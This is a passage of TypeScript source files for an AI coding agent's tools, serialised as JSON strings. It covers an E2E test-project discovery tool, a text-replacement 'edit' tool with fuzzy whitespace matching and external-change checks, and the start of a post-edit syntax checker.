relativePath(scanRoot, parent).startsWith('..')) return undefined;\n directory = parent;\n }\n}\n\nexport async function discoverE2EProjects(\n root: string,\n options: {\n framework?: E2EFramework | 'all' | undefined;\n maxDepth?: number | undefined;\n includeSpecs?: boolean | undefined;\n signal: AbortSignal;\n },\n): Promise<E2EPlanOutput> {\n const maxDepth = Math.max(0, Math.min(options.maxDepth ?? 5, 8));\n const scan = await scanWorkspace(root, maxDepth, options.signal);\n const packages = (await Promise.all(scan.packageFiles.map(readPackageInfo))).filter(\n (info): info is PackageInfo => Boolean(info),\n );\n const packagesByDirectory = new Map(packages.map((info) => [path.dirname(info.path), info]));\n const candidates = new Map<\n string,\n { framework: E2EFramework; root: string; configPath?: string }\n >();\n\n for (const config of scan.configs) {\n if (\n options.framework &&\n options.framework !== 'all' &&\n config.framework !== options.framework\n ) {\n continue;\n }\n const projectRoot = path.dirname(config.absolutePath);\n candidates.set(`${config.framework}:${projectRoot}`, {\n framework: config.framework,\n root: projectRoot,\n configPath: config.absolutePath,\n });\n }\n\n for (const info of packages) {\n const projectRoot = path.dirname(info.path);\n for (const framework of frameworkFromPackage(info)) {\n if (options.framework && options.framework !== 'all' && framework !== options.framework)\n continue;\n const key = `${framework}:${projectRoot}`;\n if (!candidates.has(key)) candidates.set(key, { framework, root: projectRoot });\n }\n }\n\n const projects: E2EProjectPlan[] = [];\n for (const candidate of candidates.values()) {\n options.signal.throwIfAborted();\n const info = nearestPackage(candidate.root, packagesByDirectory, root);\n const source = await readConfig(candidate.configPath);\n const scripts = matchingScripts(info, candidate.framework);\n const manager = await detectPackageManager(candidate.root, root, info?.packageManager);\n const testDirectory =\n candidate.framework === 'playwright' ? staticString(source, 'testDir') : undefined;\n const resolvedTestDirectory = testDirectory\n ? path.resolve(candidate.root, testDirectory)\n : undefined;\n const relativeTestDirectory = resolvedTestDirectory\n ? path.relative(root, resolvedTestDirectory)\n : undefined;\n const unsafeTestDirectory = Boolean(\n relativeTestDirectory &&\n (relativeTestDirectory.startsWith('..') || path.isAbsolute(relativeTestDirectory)),\n );\n const specs =\n options.includeSpecs === false || unsafeTestDirectory\n ? { count: 0, samples: [], truncated: false }\n : await collectSpecs(candidate.root, candidate.framework, testDirectory, options.signal);\n const warnings: string[] = [];\n if (!candidate.configPath)\n warnings.push('Framework dependency or script found without a config file.');\n if (candidate.configPath && !source) {\n warnings.push('Config could not be read or exceeded the static inspection limit.');\n }\n if (unsafeTestDirectory) {\n warnings.push(\n 'Configured testDir resolves outside the requested discovery root and was not scanned.',\n );\n }\n const hints = serverHints(candidate.framework, source);\n if (hints.some((hint) => hint.incomplete)) {\n warnings.push('Configured server contains dynamic values; only static hints are shown.');\n }\n\n projects.push({\n framework: candidate.framework,\n root: relativePath(root, candidate.root),\n ...(candidate.configPath ? { configPath: relativePath(root, candidate.configPath) } : {}),\n ...(info ? { packagePath: relativePath(root, info.path) } : {}),\n packageManager: manager,\n evidence: [\n ...(candidate.configPath ? [`config:${relativePath(root, candidate.configPath)}`] : []),\n ...(info?.dependencies.has(\n candidate.framework === 'playwright' ? '@playwright/test' : 'cypress',\n )\n ? [`dependency:${candidate.framework === 'playwright' ? '@playwright/test' : 'cypress'}`]\n : []),\n ...scripts.map((script) => `script:${script}`),\n ],\n scripts,\n serverHints: hints,\n specPattern: configuredSpecPattern(candidate.framework, source),\n specCount: specs.count,\n specSamples: specs.samples,\n specsTruncated: specs.truncated,\n execution: executionPlan(\n candidate.framework,\n manager,\n relativePath(root, candidate.root),\n candidate.configPath ? relativePath(candidate.root, candidate.configPath) : undefined,\n scripts,\n ),\n warnings,\n });\n }\n\n projects.sort((a, b) => a.root.localeCompare(b.root) || a.framework.localeCompare(b.framework));\n return {\n root,\n projects,\n scannedDirectories: scan.scannedDirectories,\n scanTruncated: scan.truncated,\n warnings: scan.truncated\n ? [`Discovery stopped after ${MAX_SCAN_DIRECTORIES} directories; narrow cwd or maxDepth.`]\n : [],\n };\n}\n\nexport const e2ePlanTool: Tool<E2EPlanInput, E2EPlanOutput> = {\n name: 'e2e_plan',\n category: 'Code Quality',\n description:\n 'Discover Playwright and Cypress projects and preview bounded E2E execution plans without loading configs or starting processes.',\n usageHint:\n 'Use before running browser E2E tests. The result identifies authoritative configs, package scripts, ' +\n 'static server hints, specs, and exact argv. This tool never imports project config or executes commands.',\n permission: 'auto',\n mutating: false,\n riskTier: 'safe',\n capabilities: ['fs.read'],\n icon: 'test',\n timeoutMs: 30_000,\n inputSchema: {\n type: 'object',\n properties: {\n cwd: { type: 'string', description: 'Directory inside the project to inspect.' },\n framework: {\n type: 'string',\n enum: ['all', 'playwright', 'cypress'],\n description: 'Optional framework filter; defaults to all.',\n },\n maxDepth: {\n type: 'integer',\n minimum: 0,\n maximum: 8,\n description: 'Maximum workspace discovery depth; defaults to 5.',\n },\n includeSpecs: {\n type: 'boolean',\n description: 'Count and sample specs; defaults to true.',\n },\n },\n },\n async execute(input, ctx, opts) {\n const root = await safeResolveReal(input.cwd ?? '.', ctx);\n return discoverE2EProjects(root, {\n framework: input.framework,\n maxDepth: input.maxDepth,\n includeSpecs: input.includeSpecs,\n signal: opts.signal,\n });\n },\n};\n", "import * as fs from 'node:fs/promises';\nimport type { Tool } from '@wrongstack/core/types';\nimport {\n atomicWrite,\n detectNewlineStyle,\n normalizeToLf,\n toStyle,\n unifiedDiff,\n} from '@wrongstack/core/utils';\nimport { ToolValidationError } from '@wrongstack/core/types';\nimport {\n adjustIndent,\n findLadderMatches,\n firstLineIndent,\n type MatchTier,\n nearestMatchHint,\n TIER_CONFIDENCE,\n TIER_LABEL,\n} from './_edit-match.js';\nimport { checkSyntax } from './_syntax-check.js';\nimport { safeResolveReal, sha256hex } from './_util.js';\n\ninterface EditInput {\n path: string;\n old_string: string;\n new_string: string;\n /**\n * When true, replaces all occurrences of `old_string`.\n * When false (default), replaces only the first occurrence and errors\n * if more than one match exists \u2014 use this to ensure you target the\n * right location.\n */\n replace_all?: boolean | undefined;\n}\n\ninterface EditOutput {\n path: string;\n replacements: number;\n diff: string;\n /**\n * How `old_string` was located. Anything other than 'exact' means a\n * whitespace/fuzzy fallback fired \u2014 the note carries the confidence level\n * and the diff shows exactly what was replaced.\n */\n matched_by: MatchTier;\n /**\n * Parse errors found in the file AFTER the edit was applied (TS/JS/JSON\n * only). The edit is still on disk \u2014 fix these in a follow-up edit now,\n * before doing anything else.\n */\n syntax_errors?: string[] | undefined;\n note?: string | undefined;\n}\n\nexport const editTool: Tool<EditInput, EditOutput> = {\n name: 'edit',\n category: 'Filesystem',\n description:\n 'Perform a precise, surgical text replacement in a file. This is the preferred tool for modifying existing code. ' +\n 'It works best after a prior `read`, but can auto-read the current file when the replacement is still unambiguous. ' +\n 'Fails safely if the `old_string` appears more than once unless `replace_all` is set.',\n usageHint:\n 'RECOMMENDED WORKFLOW:\\n' +\n '1. Prefer calling `read` on the target file first when planning an edit.\\n' +\n '2. Use a sufficiently unique `old_string` (include surrounding lines/context if needed).\\n' +\n '3. If the string appears multiple times and you want to change all of them, set `replace_all: true`.\\n' +\n '4. `new_string` must be the exact replacement text.\\n\\n' +\n 'If no prior read is recorded, the tool auto-reads the current file and only applies the edit after the same ambiguity checks pass.\\n' +\n 'If `old_string` differs from the file only in whitespace (trailing spaces, indentation), a lower-confidence fallback match is applied and reported in `matched_by`/`note` \u2014 always verify the diff when this happens.\\n' +\n 'After the edit, TS/JS/JSON files are syntax-checked; if `syntax_errors` is present in the output, fix those errors immediately with a follow-up edit.',\n selection: {\n doNotUseWhen: 'creating a new file, replacing the whole file, or applying an existing unified diff.',\n useInstead: ['write', 'patch'],\n },\n permission: 'confirm',\n mutating: true,\n capabilities: ['fs.write'],\n icon: 'edit',\n timeoutMs: 5_000,\n inputSchema: {\n type: 'object',\n properties: {\n path: { type: 'string' },\n old_string: { type: 'string' },\n new_string: { type: 'string' },\n replace_all: { type: 'boolean' },\n },\n required: ['path', 'old_string', 'new_string'],\n },\n async execute(input, ctx, opts) {\n if (!input?.path) {\n throw new ToolValidationError({ message: 'edit: path is required', field: 'path' });\n }\n if (input.old_string === undefined) {\n throw new ToolValidationError({\n message: 'edit: old_string is required',\n field: 'old_string',\n });\n }\n if (input.new_string === undefined) {\n throw new ToolValidationError({\n message: 'edit: new_string is required',\n field: 'new_string',\n });\n }\n if (input.old_string === '') {\n throw new ToolValidationError({\n message: 'edit: old_string cannot be empty',\n field: 'old_string',\n });\n }\n\n const absPath = await safeResolveReal(input.path, ctx);\n const stat = await fs.stat(absPath).catch((err) => {\n if ((err as NodeJS.ErrnoException).code === 'ENOENT') {\n throw new ToolValidationError({\n message: `edit: file \"${input.path}\" does not exist. Use \\`write\\` instead.`,\n field: 'path',\n context: { exists: false },\n });\n }\n throw err;\n });\n if (!stat.isFile()) {\n throw new ToolValidationError({\n message: `edit: \"${input.path}\" is not a regular file`,\n field: 'path',\n });\n }\n\n const autoRead = !ctx.hasRead(absPath);\n // Read BEFORE mtime check to eliminate TOCTOU window.\n // The sequence must be: read content \u2192 check mtime \u2192 apply edit.\n // If we check mtime first, a concurrent modification between the\n // stat call and the read gives us stale content to search/replace.\n const original = await fs.readFile(absPath, 'utf8');\n const updated = await fs.stat(absPath);\n const mtimeTolerance = process.platform === 'win32' ? 2000 : 1;\n const originalHash = sha256hex(original);\n // Optional call: embedders and older test fixtures may hand in a\n // duck-typed Context without hash tracking \u2014 they fall back to mtime.\n const lastReadHash = ctx.lastReadHash?.(absPath);\n if (lastReadHash !== undefined) {\n // Content hash is the authoritative arbiter when available: it closes\n // the mtime tolerance window (an external write within 2 s of the read\n // on Windows is invisible to mtime) and ignores content-preserving\n // mtime bumps (touch, checkout of identical content).\n if (lastReadHash !== originalHash) {\n throw new ToolValidationError({\n message: `edit: file \"${input.path}\" was modified externally. Re-read it first.`,\n field: 'path',\n context: { reason: 'external_modification' },\n });\n }\n } else {\n const lastReadMtime = ctx.lastReadMtime(absPath);\n if (lastReadMtime !== undefined && updated.mtimeMs > lastReadMtime + mtimeTolerance) {\n throw new ToolValidationError({\n message: `edit: file \"${input.path}\" was modified externally. Re-read it first.`,\n field: 'path',\n context: { reason: 'external_modification' },\n });\n }\n }\n if (autoRead && updated.mtimeMs > stat.mtimeMs + mtimeTolerance) {\n throw new ToolValidationError({\n message: `edit: file \"${input.path}\" changed while being auto-read. Retry the edit.`,\n field: 'path',\n context: { reason: 'auto_read_race' },\n });\n }\n const autoReadNote = autoRead\n ? `No prior read was recorded for \"${input.path}\"; edit auto-read the current file and applied the replacement only after the ambiguity checks passed.`\n : undefined;\n const style = detectNewlineStyle(original);\n const fileLf = normalizeToLf(original);\n const oldLf = normalizeToLf(input.old_string);\n const newLf = normalizeToLf(input.new_string);\n\n if (oldLf === newLf) {\n if (autoRead) ctx.recordRead(absPath, updated.mtimeMs, 'user', originalHash);\n return {\n path: absPath,\n replacements: 0,\n diff: '(no-op: old and new are identical)',\n matched_by: 'exact',\n note: autoReadNote,\n };\n }\n\n // Check abort signal before entering potentially slow matching logic\n opts?.signal?.throwIfAborted();\n const ladder = findLadderMatches(fileLf, oldLf);\n\n if (!ladder) {\n opts?.signal?.throwIfAborted();\n const hint = nearestMatchHint(fileLf, oldLf);\n throw new ToolValidationError({\n message: `edit: no match for old_string in \"${input.path}\".${\n hint\n ? ` Nearest match near line ${hint.line}:\\n${hint.snippet}\\n` +\n `Compare this against your old_string and retry with the file's actual text.`\n : ''\n }`,\n field: 'old_string',\n });\n }\n\n const { tier, matches } = ladder;\n const count = matches.length;\n\n if (ladder.ambiguous) {\n const lines = matches.map((m) => m.startLine);\n throw new ToolValidationError({\n message:\n `edit: old_string only matched fuzzily and ${count} candidate blocks scored too close ` +\n `to distinguish (lines: ${lines.join(', ')}) in \"${input.path}\". ` +\n `Re-read the file and use the exact text of the intended block.`,\n field: 'old_string',\n context: { occurrences: count, matchTier: tier },\n });\n }\n\n // Fuzzy/indent-insensitive matches are single-target operations: applying\n // them in bulk multiplies a low-confidence guess. replace_all therefore\n // requires at least a trailing-whitespace-level match.\n if (input.replace_all && tier !== 'exact' && tier !== 'trailing-whitespace') {\n throw new ToolValidationError({\n message:\n `edit: old_string only matched via ${TIER_LABEL[tier]} in \"${input.path}\", ` +\n `but replace_all requires an exact (or trailing-whitespace) match. ` +\n `Re-read the file and use its exact text.`,\n field: 'old_string',\n context: { matchTier: tier },\n });\n }\n\n if (count > 1 && !input.replace_all) {\n const lines = matches.map((m) => m.startLine);\n throw new ToolValidationError({\n message:\n `edit: old_string matched ${count} times in \"${input.path}\" (lines: ${lines.join(', ')})` +\n `${tier === 'exact' ? '' : ` via ${TIER_LABEL[tier]}`}. ` +\n `Add more context to make it unique, or set replace_all: true.`,\n field: 'old_string',\n context: { occurrences: count, matchTier: tier },\n });\n }\n\n let newFileLf: string;\n let tierNote: string | undefined;\n if (tier === 'exact') {\n newFileLf = input.replace_all\n ? fileLf.split(oldLf).join(newLf)\n : fileLf.replace(oldLf, newLf);\n } else {\n // Fallback tiers matched whole-line windows \u2014 splice by char offsets,\n // right to left so earlier offsets stay valid. For indent-insensitive\n // tiers, shift the replacement to the file's actual indentation.\n let replacement = newLf;\n let indentSuffix = '';\n if (tier === 'whitespace-normalized' || tier === 'fuzzy') {\n const first = matches[0] as (typeof matches)[number];\n const matchedText = fileLf.slice(first.start, first.end);\n const adjusted = adjustIndent(newLf, firstLineIndent(oldLf), firstLineIndent(matchedText));\n replacement = adjusted.text;\n if (adjusted.adjusted) indentSuffix = '; replacement re-indented to match the file';\n }\n newFileLf = fileLf;\n const applied = input.replace_all ? matches : matches.slice(0, 1);\n for (let i = applied.length - 1; i >= 0; i--) {\n const m = applied[i] as (typeof matches)[number];\n newFileLf = newFileLf.slice(0, m.start) + replacement + newFileLf.slice(m.end);\n }\n const scoreSuffix =\n ladder.score !== undefined ? `, similarity ${(ladder.score * 100).toFixed(1)}%` : '';\n tierNote =\n `old_string did not match exactly; applied via ${TIER_LABEL[tier]} at line ` +\n `${(matches[0] as (typeof matches)[number]).startLine} ` +\n `(confidence: ${TIER_CONFIDENCE[tier]}${scoreSuffix}${indentSuffix}). ` +\n `Review the diff to confirm the intended target was edited.`;\n }\n const newFile = toStyle(newFileLf, style);\n\n // Last exit before mutating the filesystem: a run aborted during the\n // read/match phase must not leave the edit behind. (atomicWrite itself\n // is all-or-nothing \u2014 the file is old or new, never partial.)\n opts?.signal?.throwIfAborted();\n await atomicWrite(absPath, newFile, { mode: updated.mode & 0o777 });\n const written = await fs.stat(absPath);\n // Record mtime + content hash so a later edit detects external\n // modification, but tag as 'write' so the permission policy's\n // write-smart-bypass does NOT treat this as \"user already saw the\n // content\" (P1 #1).\n ctx.recordRead(absPath, written.mtimeMs, 'write', sha256hex(newFile));\n\n // Record for session rewind\n ctx.session.recordFileChange({\n path: absPath,\n action: 'modified',\n before: original,\n after: newFile,\n });\n\n // Check abort before diff generation (can be slow on large files)\n opts?.signal?.throwIfAborted();\n const diff = unifiedDiff(original, newFile, {\n fromFile: input.path,\n toFile: input.path,\n });\n\n // Post-edit syntax validation (TS/JS/JSON). The edit stays on disk \u2014\n // errors come back in the same turn so the model fixes them immediately.\n const syntax = await checkSyntax(absPath, newFile, original).catch(() => undefined);\n let syntaxNote: string | undefined;\n if (syntax && syntax.errors.length > 0) {\n syntaxNote = syntax.preExisting\n ? `Syntax check: the file still has parse errors (they pre-date this edit) \u2014 see syntax_errors.`\n : `Syntax check: this edit introduced ${syntax.errors.length} parse error(s) \u2014 fix them now, see syntax_errors.`;\n }\n\n const notes = [autoReadNote, tierNote, syntaxNote].filter(Boolean);\n\n return {\n path: absPath,\n replacements: input.replace_all ? count : 1,\n diff,\n matched_by: tier,\n syntax_errors: syntax && syntax.errors.length > 0 ? syntax.errors : undefined,\n note: notes.length > 0 ? notes.join('\\n') : undefined,\n };\n },\n};\n", "/**\n * Matching ladder for the `edit` tool.\n *\n * Models routinely hallucinate whitespace when reproducing code they read\n * many turns ago: trailing spaces appear, indentation shifts by a level,\n * tabs become spaces. A strict exact-match `old_string` fails on all of\n * these even though the intended target is unambiguous. This module\n * implements a graded fallback chain \u2014 each tier is strictly more permissive\n * and strictly lower-confidence than the previous one:\n *\n * 1. `exact` \u2014 substring match (the classic behavior).\n * 2. `trailing-whitespace` \u2014 whole-line window match ignoring trailing\n * whitespace per line. Zero ambiguity risk\n * beyond exact (trailing blanks never carry\n * meaning in the languages we edit).\n * 3. `whitespace-normalized` \u2014 whole-line window match ignoring leading\n * AND trailing whitespace per line. The\n * replacement is re-indented to the file's\n * actual indentation.\n * 4. `fuzzy` \u2014 block-anchor match: first and last lines\n * must match (trimmed), interior lines are\n * compared by Levenshtein similarity. Only a\n * single candidate with a clear margin over\n * the runner-up is accepted.\n *\n * The caller (edit.ts) enforces per-tier uniqueness, restricts `replace_all`\n * to tiers 1\u20132, and surfaces the tier + confidence in the tool output so the\n * model and the session log both see when a fallback fired.\n */\n\nexport type MatchTier = 'exact' | 'trailing-whitespace' | 'whitespace-normalized' | 'fuzzy';\n\nexport interface LadderMatch {\n /** Char offset (inclusive) of the match start in the LF-normalized file. */\n start: number;\n /** Char offset (exclusive) of the match end. */\n end: number;\n /** 1-based line number of the first matched line (for error messages). */\n startLine: number;\n}\n\nexport interface LadderResult {\n tier: MatchTier;\n matches: LadderMatch[];\n /** Similarity score of the best candidate \u2014 only set for the fuzzy tier. */\n score?: number | undefined;\n /**\n * Fuzzy tier only: true when two candidates scored within the ambiguity\n * margin of each other, so no single target can be trusted. `matches`\n * then contains the rival candidates for the error message.\n */\n ambiguous?: boolean | undefined;\n}\n\n/** Human-readable label per tier, used in notes and error messages. */\nexport const TIER_LABEL: Record<MatchTier, string> = {\n exact: 'exact match',\n 'trailing-whitespace': 'whitespace-normalized match (trailing whitespace ignored)',\n 'whitespace-normalized':\n 'whitespace-normalized match (indentation ignored, replacement re-indented)',\n fuzzy: 'fuzzy match (block anchors exact, interior \u226590% similar)',\n};\n\n/** Confidence per tier, recorded in the tool output note. */\nexport const TIER_CONFIDENCE: Record<MatchTier, 'exact' | 'high' | 'medium' | 'low'> = {\n exact: 'exact',\n 'trailing-whitespace': 'high',\n 'whitespace-normalized': 'medium',\n fuzzy: 'low',\n};\n\n/** Below this many non-whitespace chars, indent-insensitive tiers are too\n * ambiguous to trust (`}` would match everywhere). */\nconst MIN_NORMALIZED_NEEDLE_CHARS = 16;\n/** Fuzzy interior similarity threshold. */\nconst FUZZY_MIN_SIMILARITY = 0.9;\n/** A fuzzy best-candidate must beat the runner-up by at least this margin. */\nconst FUZZY_AMBIGUITY_MARGIN = 0.05;\n/** Cost guard: skip fuzzy comparison on interiors larger than this. */\nconst FUZZY_MAX_INTERIOR_CHARS = 2000;\n\n/**\n * Walk the ladder and return the first tier that produces at least one\n * match. Returns `undefined` when no tier matches.\n */\nexport function findLadderMatches(fileLf: string, oldLf: string): LadderResult | undefined {\n // Tier 1 \u2014 exact substring scan (supports sub-line needles).\n const exact: LadderMatch[] = [];\n let idx = fileLf.indexOf(oldLf);\n while (idx !== -1) {\n exact.push({ start: idx, end: idx + oldLf.length, startLine: lineAt(fileLf, idx) });\n idx = fileLf.indexOf(oldLf, idx + 1);\n }\n if (exact.length > 0) return { tier: 'exact', matches: exact };\n\n // Line-based tiers operate on whole-line windows.\n const fileLines = fileLf.split('\\n');\n const needleLines = oldLf.split('\\n');\n if (needleLines.length > fileLines.length) return undefined;\n const offsets = lineOffsets(fileLines);\n\n // Pre-trim file lines ONCE so the sliding window doesn't call trimEnd()/\n // trim() on every (fileLine \u00D7 needleLine) pair \u2014 avoiding O(n\u00B7m) string\n // allocations for every tier. For a 10 000-line \u00D7 10-line needle that\n // saves ~200 000 trim() calls per tier.\n const fileTrimEnd = fileLines.map((l) => l.trimEnd());\n const needleTrimEnd = needleLines.map((l) => l.trimEnd());\n\n const trailing = windowScan(\n fileTrimEnd,\n needleTrimEnd,\n offsets,\n fileLines,\n (a, b) => a === b,\n );\n if (trailing.length > 0) return { tier: 'trailing-whitespace', matches: trailing };\n\n const normalizedLen = needleTrimEnd.reduce((n, l) => n + l.trimStart().length, 0);\n if (normalizedLen < MIN_NORMALIZED_NEEDLE_CHARS) return undefined;\n\n const fileTrimmed = fileTrimEnd.map((l) => l.trimStart());\n const needleTrimmed = needleTrimEnd.map((l) => l.trimStart());\n const normalized = windowScan(\n fileTrimmed,\n needleTrimmed,\n offsets,\n fileLines,\n (a, b) => a === b,\n );\n if (normalized.length > 0) return { tier: 'whitespace-normalized', matches: normalized };\n\n return fuzzyScan(fileLines, needleLines, offsets);\n}\n\n/** 1-based line number containing char offset `pos`.\n * Uses indexOf('\\n') for O(log n) instead of scanning char-by-char.\n * For small pos (< 512 chars) the simple loop is faster, so we keep that\n * fast path for the common case (single-line needles, small files). */\nfunction lineAt(text: string, pos: number): number {\n if (pos < 512) {\n let line = 1;\n for (let i = 0; i < pos; i++) {\n if (text.charCodeAt(i) === 0x0a) line++;\n }\n return line;\n }\n // For large offsets, binary-search through newline positions.\n let line = 1;\n let search = 0;\n while (true) {\n const idx = text.indexOf('\\n', search);\n if (idx === -1 || idx >= pos) return line;\n search = idx + 1;\n line++;\n }\n}\n\n/** Start char offset of each line in the LF-normalized text. */\nfunction lineOffsets(lines: string[]): number[] {\n const out = new Array<number>(lines.length);\n let pos = 0;\n for (let i = 0; i < lines.length; i++) {\n out[i] = pos;\n pos += (lines[i] as string).length + 1; // +1 for the '\\n'\n }\n return out;\n}\n\nfunction windowToMatch(\n fileLines: string[],\n offsets: number[],\n start: number,\n windowLen: number,\n): LadderMatch {\n const lastLine = start + windowLen - 1;\n return {\n start: offsets[start] as number,\n end: (offsets[lastLine] as number) + (fileLines[lastLine] as string).length,\n startLine: start + 1,\n };\n}\n\n/** Slide a needle-sized window over the file lines with a per-line comparator.\n * Matched windows never overlap (scan resumes after the window). */\nfunction windowScan(\n comparisonLines: string[],\n needleLines: string[],\n offsets: number[],\n originalLines: string[],\n eq: (fileLine: string, needleLine: string) => boolean,\n): LadderMatch[] {\n const n = needleLines.length;\n const out: LadderMatch[] = [];\n for (let i = 0; i + n <= comparisonLines.length; i++) {\n let all = true;\n for (let j = 0; j < n; j++) {\n if (!eq(comparisonLines[i + j] as string, needleLines[j] as string)) {\n all = false;\n break;\n }\n }\n if (all) {\n out.push(windowToMatch(originalLines, offsets, i, n));\n i += n - 1; // no overlapping windows\n }\n }\n return out;\n}\n\n/** Block-anchor fuzzy tier: first/last lines trim-exact, interior by\n * Levenshtein similarity. Requires \u22653 needle lines so anchors exist. */\nfunction fuzzyScan(\n fileLines: string[],\n needleLines: string[],\n offsets: number[],\n): LadderResult | undefined {\n const n = needleLines.length;\n if (n < 3) return undefined;\n const firstNeedle = (needleLines[0] as string).trim();\n const lastNeedle = (needleLines[n - 1] as string).trim();\n const needleInterior = needleLines\n .slice(1, -1)\n .map((l) => l.trim())\n .join('\\n');\n if (needleInterior.length > FUZZY_MAX_INTERIOR_CHARS) return undefined;\n\n const candidates: Array<{ match: LadderMatch; score: number }> = [];\n for (let i = 0; i + n <= fileLines.length; i++) {\n if ((fileLines[i] as string).trim() !== firstNeedle) continue;\n if ((fileLines[i + n - 1] as string).trim() !== lastNeedle) continue;\n const windowInterior = fileLines\n .slice(i + 1, i + n - 1)\n .map((l) => l.trim())\n .join('\\n');\n if (windowInterior.length > FUZZY_MAX_INTERIOR_CHARS) continue;\n const score = similarity(needleInterior, windowInterior);\n if (score >= FUZZY_MIN_SIMILARITY) {\n candidates.push({ match: windowToMatch(fileLines, offsets, i, n), score });\n }\n }\n\n if (candidates.length === 0) return undefined;\n candidates.sort((a, b) => b.score - a.score);\n const best = candidates[0] as { match: LadderMatch; score: number };\n const runnerUp = candidates[1];\n if (runnerUp && best.score - runnerUp.score < FUZZY_AMBIGUITY_MARGIN) {\n return {\n tier: 'fuzzy',\n matches: candidates.map((c) => c.match),\n score: best.score,\n ambiguous: true,\n };\n }\n return { tier: 'fuzzy', matches: [best.match], score: best.score };\n}\n\n/** Normalized similarity in [0, 1]: 1 \u2212 levenshtein / max-length. */\nexport function similarity(a: string, b: string): number {\n if (a === b) return 1;\n const max = Math.max(a.length, b.length);\n if (max === 0) return 1;\n // Quick reject: a length gap larger than the allowed edit budget can\n // never reach the threshold \u2014 skip the O(n\u00B7m) DP entirely.\n if (Math.abs(a.length - b.length) / max > 1 - FUZZY_MIN_SIMILARITY + 0.05) {\n return 1 - Math.abs(a.length - b.length) / max;\n }\n return 1 - levenshtein(a, b) / max;\n}\n\n/** Two-row Levenshtein distance. */\nfunction levenshtein(a: string, b: string): number {\n if (a.length === 0) return b.length;\n if (b.length === 0) return a.length;\n let prev = new Array<number>(b.length + 1);\n let cur = new Array<number>(b.length + 1);\n for (let j = 0; j <= b.length; j++) prev[j] = j;\n for (let i = 1; i <= a.length; i++) {\n cur[0] = i;\n const ca = a.charCodeAt(i - 1);\n for (let j = 1; j <= b.length; j++) {\n const cost = ca === b.charCodeAt(j - 1) ? 0 : 1;\n cur[j] = Math.min(\n (prev[j] as number) + 1,\n (cur[j - 1] as number) + 1,\n (prev[j - 1] as number) + cost,\n );\n }\n [prev, cur] = [cur, prev];\n }\n return prev[b.length] as number;\n}\n\n/** Leading whitespace (spaces/tabs) of the first non-empty line, or ''. */\nexport function firstLineIndent(text: string): string {\n for (const line of text.split('\\n')) {\n if (line.trim() === '') continue;\n return (/^[ \\t]*/.exec(line) as RegExpExecArray)[0];\n }\n return '';\n}\n\n/**\n * Shift `newLf` from the needle's indentation to the matched block's actual\n * indentation. Only clean prefix relationships are adjusted (purely adding\n * or removing leading whitespace); a tabs-vs-spaces mismatch is left alone\n * rather than guessed at \u2014 the diff in the tool output makes the result\n * visible either way.\n */\nexport function adjustIndent(\n newLf: string,\n fromIndent: string,\n toIndent: string,\n): { text: string; adjusted: boolean } {\n if (fromIndent === toIndent) return { text: newLf, adjusted: false };\n const lines = newLf.split('\\n');\n if (toIndent.startsWith(fromIndent)) {\n const extra = toIndent.slice(fromIndent.length);\n return {\n text: lines.map((l) => (l.trim() === '' ? l : extra + l)).join('\\n'),\n adjusted: true,\n };\n }\n if (fromIndent.startsWith(toIndent)) {\n const remove = fromIndent.slice(toIndent.length);\n return {\n text: lines.map((l) => (l.startsWith(remove) ? l.slice(remove.length) : l)).join('\\n'),\n adjusted: true,\n };\n }\n return { text: newLf, adjusted: false };\n}\n\n/**\n * Best-effort locator for the no-match error: find the window whose trimmed\n * lines are most similar to the needle (cheap common-prefix scoring \u2014 this\n * runs on the failure path where the needle by definition doesn't match, so\n * precision matters less than never being slow). Returns the 1-based line\n * and a short snippet the model can use to correct itself without re-reading.\n */\nexport function nearestMatchHint(\n fileLf: string,\n oldLf: string,\n): { line: number; snippet: string } | undefined {\n const fileLines = fileLf.split('\\n');\n const needleLines = oldLf.split('\\n');\n if (needleLines.length > fileLines.length) return undefined;\n\n const needleTrimmed = needleLines.map((l) => l.trim());\n let bestScore = 0;\n let bestStart = -1;\n for (let i = 0; i + needleLines.length <= fileLines.length; i++) {\n let sum = 0;\n for (let j = 0; j < needleLines.length; j++) {\n sum += prefixSimilarity(needleTrimmed[j] as string, (fileLines[i + j] as string).trim());\n }\n const score = sum / needleLines.length;\n if (score > bestScore) {\n bestScore = score;\n bestStart = i;\n }\n }\n if (bestStart === -1 || bestScore < 0.5) return undefined;\n\n const snippet = fileLines\n .slice(bestStart, bestStart + Math.min(3, needleLines.length))\n .map((l) => (l.length > 120 ? `${l.slice(0, 120)}\u2026` : l))\n .join('\\n');\n return { line: bestStart + 1, snippet };\n}\n\n/** Cheap similarity proxy: shared prefix length over max length. */\nfunction prefixSimilarity(a: string, b: string): number {\n if (a === b) return 1;\n const max = Math.max(a.length, b.length);\n if (max === 0) return 1;\n let p = 0;\n const lim = Math.min(a.length, b.length);\n while (p < lim && a.charCodeAt(p) === b.charCodeAt(p)) p++;\n return p / max;\n}\n", "/**\n * Post-edit syntax validation for `edit` and `write`.\n *\n * After a mutation lands on disk, the new content is parsed (TS/JS via the\n * TypeScript compiler's parser, JSON via JSON.parse with a JSONC fallback)\n * and any parse errors are surfaced in the tool output. The edit is NOT\n * rolled back \u2014 reverting would desynchronize the model's picture of the\n * file \u2014 but the errors come back in the same turn so the model fixes the\n * breakage before the user ever opens a broken file.\n *\n * The check is purely syntactic (no type checking, no project program), so\n * it costs single-digit milliseconds per file. Semantic type errors remain\n * the `type-gate` plugin's job.\n */\nimport * as path from 'node:path';\n\nconst TS_LIKE = new Set(['.ts', '.tsx', '.mts', '.cts', '.js', '.jsx', '.mjs', '.cjs']);\n/** Skip pathologically large files \u2014 the model never writes these in one go. */\nconst MAX_CHECK_CHARS = 1_500_000;\n/** Cap reported errors so a mangled file doesn't flood the context. */\nconst MAX_ERRORS = 5;\n\ntype Ts = typeof import('@typescript/typescript6');\n\nlet tsLoad: Promise<Ts | null> | null = null;\n/** Lazy-load the TypeScript compiler (already a dependency via the codebase\n * indexer) so tools that never touch TS files don't pay its import cost. */\nfunction loadTypescript(): Promise<Ts | null> {\n tsLoad ??= import('@typescript/typescript6').then(\n (m) => ((m as unknown as { default?: Ts }).default ?? m) as Ts,\n () => null,\n );\n return tsLoad;\n}\n\nexport interface SyntaxCheckResult {\n /** Parse errors in the new content (capped at {@link MAX_ERRORS}). */\n errors: string[];\n /** True when the pre-edit content already failed to parse \u2014 the edit did\n * not introduce the breakage (though it didn't fix it either). */\n preExisting: boolean;\n}\n\n/**\n * Check `content` for syntax errors based on the file extension.\n * Returns `undefined` when the file type is not checkable (or the checker\n * is unavailable) and a result with an empty `errors` array when clean.\n * Pass `previousContent` to distinguish newly-introduced errors from\n * pre-existing ones.\n */\nexport async 